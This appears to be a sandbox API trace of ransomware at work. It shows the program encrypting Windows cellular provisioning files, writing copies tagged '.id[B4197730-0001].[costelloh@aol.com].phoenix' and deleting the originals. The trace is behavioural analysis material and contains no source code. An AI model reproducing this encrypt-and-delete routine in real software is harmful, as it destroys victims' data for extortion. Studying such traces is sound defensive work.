	[0259.650] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.650] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0259.650] CloseHandle (hObject=0x2e0) returned 1
	[0259.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.651] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.651] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.651] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0259.652] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.652] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.653] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0259.653] WriteFile (in: hFile=0x244, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0259.654] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0259.654] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.654] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0259.654] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.654] WriteFile (in: hFile=0x244, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0259.654] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.654] CloseHandle (hObject=0x2e0) returned 1
	[0259.654] CloseHandle (hObject=0x244) returned 1
	[0259.654] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\89__connections_cellular_vodafone cz (czech republic)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.655] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.655] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.657] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=719) returned 1
	[0259.657] CloseHandle (hObject=0x244) returned 1
	[0259.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0259.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.657] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.657] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.657] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.657] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0259.658] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.658] ReadFile (in: hFile=0x244, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cf, lpOverlapped=0x0) returned 1
	[0259.660] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0259.660] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.661] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0259.661] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.661] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0259.661] CryptDestroyKey (hKey=0x151080) returned 1
	[0259.661] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0259.661] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.661] CloseHandle (hObject=0x244) returned 1
	[0259.661] CloseHandle (hObject=0x2e0) returned 1
	[0259.661] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\8__connections_cellular_hutchison - 3 (australia)_i1$(__mvid)@wap.provxml")) returned 1
	[0259.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.664] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.664] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=717) returned 1
	[0259.664] CloseHandle (hObject=0x2e0) returned 1
	[0259.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.665] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.665] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.665] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.665] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.666] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151300) returned 1
	[0259.666] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.666] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cd, lpOverlapped=0x0) returned 1
	[0259.668] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0259.668] WriteFile (in: hFile=0x244, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.669] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0259.669] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.669] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0259.669] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.669] WriteFile (in: hFile=0x244, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0259.669] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.669] CloseHandle (hObject=0x2e0) returned 1
	[0259.669] CloseHandle (hObject=0x244) returned 1
	[0259.669] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.670] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.670] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.671] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=710) returned 1
	[0259.671] CloseHandle (hObject=0x244) returned 1
	[0259.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0259.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.672] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0259.672] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.672] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.672] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.673] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0259.673] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.673] ReadFile (in: hFile=0x244, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c6, lpOverlapped=0x0) returned 1
	[0259.674] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0259.674] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0259.675] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0259.675] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.675] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0259.675] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.675] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0259.676] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.676] CloseHandle (hObject=0x244) returned 1
	[0259.676] CloseHandle (hObject=0x2e0) returned 1
	[0259.676] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml")) returned 1
	[0259.677] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.677] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.678] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0259.678] CloseHandle (hObject=0x2e0) returned 1
	[0259.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0259.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.678] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\92__Connections_Cellular_3 (Denmark)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\92__connections_cellular_3 (denmark)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
